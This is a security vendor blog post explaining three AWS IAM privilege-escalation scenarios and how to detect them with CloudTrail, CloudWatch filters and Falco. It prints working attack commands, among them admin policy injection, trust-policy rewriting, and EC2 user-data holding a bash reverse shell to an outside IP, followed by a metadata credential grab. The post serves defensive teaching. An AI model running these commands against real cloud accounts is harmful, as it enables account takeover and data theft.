Exploiting IAM security misconfigurations

How to detect them
By Stefano Chierici - DECEMBER 20, 2022
Attacker exploit IAM misconfiguration

These three IAM security misconfigurations scenarios are rather common. Discover how they can be exploited, but also, how easy it is to detect and correct them.

Identity and access management (IAM) misconfigurations are one of the most common concerns in cloud security. Over the last few years, we have seen how these security holes put organizations at increased risk of experiencing serious attacks on their Cloud accounts.

To some, cloud environments might look like safe places where security is set by default. However, the truth is that security follows a shared responsibility model. For example, you are in charge of securing AWS console access.

But what if a misconfiguration over your users or roles is applied in your environment?

Attackers can use them to gain the keys to the kingdom, accessing your environment, and creating serious damage. In scenarios where attackers are already in, misconfigurations can help them perform cloud lateral movement, exfiltrate sensitive data, or use the account for their own purpose, like crypto mining.

In this article, we put security best practices aside and have some fun focusing our attention on some real-world scenarios of IAM security misconfigurations. We’ll showcase how it would be possible for an attacker to use those IAM misconfigurations and create serious hassles.

Why IAM security misconfigurations is a big deal

AWS Identity and Access Management (IAM) enables you to manage access to AWS services and resources securely. Using IAM, you can create and granularly manage AWS users and groups, and use permissions to allow and deny their access to AWS resources.

From what IAM is about, we can easily agree this is a piece of our infrastructure we need to focus on. If this service is misconfigured, users or groups might cause huge damage to your infrastructure.

Due to the fine granularity of permissions available in the Cloud environments, applying the least privileges concept, so carefully giving exactly what a user needs to perform its actions, is absolutely fundamental. Just a misconfigured privilege could lead to an attacker escalating the privileges inside the environment.

Cloud permissions gap

It’s also important to highlight that it’s often not just the single permission that could allow the user to perform unwanted action, but the combination of this single misconfigured permission with all the others already owned by the user. That’s why even a little misconfiguration might be a big deal for the entire account.

Let’s deep dive into real world scenarios, taking a closer look at three misconfigurations in AWS to understand the huge impact they can have in your environment.

IAM security misconfiguration scenarios

Scenario #1: A user can create a new policy version

In this scenario, an attacker who found valid credentials in Pastebin is able to access the cloud environment. It turns out that the compromised user has permission to create a new version of one of their IAM policies.

This allows the adversary to define their own custom permissions and gain full administrator access to the AWS account.

First real scenario

The attacker was able to access the cloud environment using the compromised user mallory.

aws sts get-caller-identity
Output AWS command with user identity

Looking at the user mallory policies that are attached to the user, we can see the IAM_policy attached.

aws iam list-attached-user-policies --user-name mallory
Output AWS command with a list attached user policies

If we use the method get-policy, it’s possible to extract further information regarding the policy.

aws iam get-policy --policy-arn arn:aws:iam::ARN-TARGET:policy/IAM_Policy
Output AWS command get policy

Checking the permissions granted by this policy, we can find the iam:CreatePolicyVersion permission attached. With this privilege, it’s possible to update a managed policy by creating a new policy version.

aws iam get-policy-version --policy-arn arn:aws:iam::ARN-TARGET:policy/IAM_Policy --version-id v1
Output AWS command get policy version

The attacker can use the privilege, along with the following JSON file, to create a new policy version, updating the policy and adding the AWS managed role AdministratorAccess to get full access to the environment:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }
    ]
}

When creating the new policy version, the attacker needs to set it as the default one for it to take effect.

To do so, they need to have the iam:SetDefaultPolicyVersion permission.

However, when creating a new policy version, it is possible to use the --set-as-default flag that will automatically create it as the new default version without requiring that iam:SetDefaultPolicyVersion permission.

Magic! 🪄

With the following command, the attacker is able to create a new policy and escalate the privilege inside the environment to the administrator.

aws iam create-policy-version --policy-arn arn:aws:iam::ARN-TARGET:policy/IAM_Policy --policy-document file://privesc.json --set-as-default
Output AWS command create policy version

By checking the policy using get-policy as it’s done before, we can see the value in defaultVersionId changed.

aws iam get-policy --policy-arn arn:aws:iam::ARN-TARGET:policy/IAM_Policy 
Output AWS Command get policy

If we now check the permissions granted by the new policy version, we can see that we successfully escalated the privileges to full access role.

aws iam get-policy-version --policy-arn arn:aws:iam::ARN-TARGET:policy/IAM_Policy --version-id v2
Output AWS command get policy version

As we have seen in this real-world scenario, a user with an IAM privilege misconfigured, iam:CreatePolicyVersion in this case, could lead an attacker to a total compromise of a Cloud account, and potentially to other connected accounts.

Scenario #2: A user can update the AssumeRolePolicyDocument of a role

In this scenario, an attacker was able to get valid AWS credentials to log into the account via phishing an internal user. The compromised user has misconfigured IAM policies attached, letting them edit the assumed role policy of any existing role.

The user could range from minimal privileges to full control over EC2s inside the account.

Second scenario

In this case, the compromised user is operator.

aws sts get-caller-identity
Output AWS command get identity

Let’s fish around to check if the user is part of any groups.

aws iam list-groups-for-user --user-name operator
Output AWS command list group for user

We were lucky! In this case, the user is part of the devOps group.

During the information gathering phase, the attacker checks the policies attached and can see there is one policy called dev-AssumeRole, which sounds interesting.

aws iam list-attached-group-policies --group-name devOps

The AssumeRole policy attached to the group allows a user to assume all the roles.

aws iam get-policy-version --policy-arn arn:aws:iam::ARN-TARGET:policy/assumeRole --version-id v1
Output AWS command get policy version

Checking inline policies, the compromised user also has a policy named IAM_Policy.

aws iam list-user-policies --user-name operator 
Output AWS command list user policies

We can easily understand that the IAM permission is something misconfigured, or is just permission that was granted for a specific task, and it was not removed afterward.

Checking the actions contained in the policy, we can see the iam:UpdateAssumePolicy attached.

aws iam get-user-policy --policy-name IAM_policy --user-name operator
Output AWS command get user policy

With the discovered IAM permission:

  • The user is able to edit the role they can assume.
  • Elevate its privileges inside the account.

Using the following command, the attacker can easily escalate the privileges:

aws iam update-assume-role-policy --role-name dev-EC2Full --policy-document file://privesc.json

In the privesc.json file used in the command above, the attacker added the user ARN to the dev-EC2Full role trust policy:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::7208********:user/operator"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

The attacker can now proceed, impersonating the new role using assume-role. It returns the temporary security credentials that can be used to access the cloud environment with the new role.

aws sts assume-role --role-arn "arn:aws:iam::ARN-TARGET:role/dev-EC2Full" --role-session-name AWSCLI-Session
Output AWS command assume role

😲Surprise!

Importing the new keys obtained locally and checking the user we are currently logged in with, the attacker successfully escalated the privileges inside the environment. Of course, they could be used to access all the policies, including the AWS managed ones.

aws sts get-caller-identity
Output AWS command get caller identity

This would give the attacker full privileges over EC2s, with the chance to spawn instances for its purposes.

In this real-world scenario, a user with iam:UpdateAssumeRolePolicy IAM privilege misconfigured could lead an attacker to have full control over EC2 inside the cloud account. For an attacker, that means the chance to create new instances and/or destroy what is already in place, causing serious damage to the company.

Scenario #3: A user can create EC2 instances, and pass the role

In this scenario, we can see how the combination of IAM and EC2 privileges could lead to an attacker escalating the privileges from zero to hero into the account.

The attacker was able to get valid AWS credentials via a spare phishing attack. The compromised cloud user has the permissions to run EC2 Instances, as well as the ability to pass roles.

Using those privileges, the adversary is able to escalate the privileges inside the account, run an EC2 instance, and exfiltrate information stored in bucket S3.

Third scenario

As we can see from the image below, the compromised user is part of a group DevOps.

aws iam list-groups-for-user --user-name operator
Output AWS command list groups for user

Checking the permissions attached to the group, we see two policies attached:

aws iam list-attached-group-policies --group-name devOps
Output AWS command list attached group policies

Focusing on the dev-Ops police, we can see it has the iam:PassRole and ec2:RunInstances permissions attached.

aws iam get-policy-version --policy-arn arn:aws:iam::ARN-TARGET:policy/dev-Ops --version-id v1
Output AWS command get policy version

The combination of these two privileges could let the misconfigured user create a new EC2 instance. Not only that, but they will have operating system access, and pass an existing EC2 instance profile/service role to it.

🤯

As we can see below, running the command run-instances, the user is able to run a new instance using other information gathered in the account. Using the flag, it’s possible to pass --iam-instance-profile directly during the instance creation without having further permissions.

Looking through the available roles in the cloud account, the devOps-S3Full role looks interesting and can be used by the EC2 services.

aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name="devOps-S3Full" --user-data file://revshell.sh 
Output AWS command run instances

The revshell.sh script file contains a script to open a bash reverse shell in one way or another, reported in the code below. It is worth noting that to create the instance, the attacker doesn’t require any SSH keys or security group.

#!/bin/bash
bash -i >& /dev/tcp/107.21.43.88/443 0>&1

Once the machine is launched, the script is executed and the attacker is able to get a running shell on the machine with the root user. In this way, the attacker has full control over the machine to execute whatever they want, as we can see in the image below.

Output AWS command

As we have seen before, while using the PassRole privilege, the user can pass whatever permission it wants to the created machine.

In this case, the attacker passes the FullS3bucket access to the instance.

curl http://169.254.169.254/l2021-07-15/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Output AWS credentials

The attacker can then log into the instance and request the associated AWS keys from the EC2 instance metadata. As seen before, the attacker can import the temporary credentials and use it to log into the cloud account with the role associated with the EC2 created before.

aws sts get-caller-identity
Output AWS command get identity

Once logged in, the adversary now has full control over S3 bucket with the chance to exfiltrate sensible information or destroy all the files found on the available bucket.

In this case, the attacker found interesting buckets containing credentials and others related to Kubernetes environment. Deleting those files might cause serious damages to the environment running.

aws s3 ls
Output S3 list buckets command

In this attack scenario, we have seen how an attacker with a combination of two security misconfigurations was able to access the set of permissions that the instance profile/role has, which could range from no privilege escalation to full administrator access of the AWS account.

Detecting IAM security misconfigurations

All the attacks we have seen before were possible due to AWS security misconfiguration somewhere in the environment.

Those use cases may sound silly or unlikely, but are you sure you have a clear picture and really know what permissions are applied in your environment?

Even more importantly, how can we also track and validate the changes applied?

Detecting cloud malicious changes

Fortunately, when the attacker uses the privileges attached to the compromised user, they are going to leave very recognizable tracks.

Also, when someone is performing changes in the infrastructure, it will leave tracks like “which action has been performed and over what type of service.”

AWS provides strong capabilities to understand what is going on in the environment. CloudTrail records actions taken by a user, role, or an AWS service from AWS Management Console, AWS Command Line Interface, and AWS SDKs and APIs.

Through CloudTrail, we can see the operator user calling the UpdateAssumeRolePolicy, along with the target role and other context information:

Output Cloudtrail event

Using another AWS feature, CloudWatch, it’s possible to create alerts based on CloudTrail events.

In this case, let’s create an alert if someone enables the feature with the following filter:

{ ( ($.eventSource = "iam.amazonaws.com") && (($.eventName = "Put*Policy") || ($.eventName = "Attach*") || ($.eventName = "Detach*") || ($.eventName = "Create*") || ($.eventName = "Update*") || ($.eventName = "Upload*") || ($.eventName = "Delete*") || ($.eventName = "Remove*") || ($.eventName = "Set*")) ) }
{ ( ($.eventSource = "iam.amazonaws.com") && (($.eventName = "Add*") || ($.eventName = "Attach*") || ($.eventName = "Change*") || ($.eventName = "Create*") || ($.eventName = "Deactivate*") || ($.eventName = "Delete*") || ($.eventName = "Detach*") || ($.eventName = "Enable*") || ($.eventName = "Put*") || ($.eventName = "Remove*") || ($.eventName = "Set*") || ($.eventName = "Update*") || ($.eventName = "Upload*")) ) }

Why is detecting IAM security misconfigurations hard to do?

The hard issue in detecting attackers once they have successfully compromised a user with security misconfiguration is that it could be hard to detect since they aren’t actually malicious behavior per se.

Running instances or updating Assume Role Document are legitimate actions if done by the right people. So how can we know if a user is really authorized to perform a specific action and proactively take measures before something bad happens?

To answer this question, you need to have a clear view of your environment and AWS security best practices applied. Having best practices applied for Cloud IAM comes in handy when you need to assess the privileges attached to each user or group. For example, if you see the dev group has attached policies related to IAM and you applied the least privilege concept in your environment, you can easily understand that there is something wrong in place for this specific group.

Conclusion image

However, applying best practices isn’t enough. To be sure to enforce the best practices and proactively take remediation action, you need to know what is in place in your environment. Of course, it’s not that easy to have a nice and clear picture of which policies and roles are applied to a group, user, or service account.

You have to rely on security tools that continuously monitor for anomalous activity in the cloud, and then can generate security events from there. In the case of AWS, gathering traces from CloudTrail events among other sources. With the right tools, you can easily assess and strengthen your cloud security.

Finally, we can use Falco, an open source runtime security threat detection and response engine, to detect threats at runtime by observing the behavior of your applications and containers running on cloud environments. Falco extends support for threat detection across multiple cloud environments via Falco Plugins. By streaming logs from the cloud provider to Falco, instead of installing the Falco agent in the cloud environment, we have the deep visibility required to perform posture management.

Conclusion

The real-life scenario attacks we presented show how it’s possible for an adversary to use IAM security misconfigurations to gain high privileges inside a cloud environment.

Such attacks can start with valid credentials found online, or obtained from tricking users via phishing, and may proceed with further privilege escalation to take control over the account.

By leveraging AWS features like CloudTrail, CloudWatch among others, it’s possible to get alerted when changes are applied in your environment, triggering automatic response.


Check out our “Cloud Infrastructure Entitlements Management (CIEM) with Sysdig Secure” article to discover how easy it is to detect each attack scenario with Sysdig Secure for cloud.

The Sysdig Secure DevOps Platform provides the visibility you need to confidently run containers, Kubernetes, and cloud. Built on an open-source stack with SaaS delivery, it is radically simple to run and scale.

You’ll be set in only a few minutes. Try it today!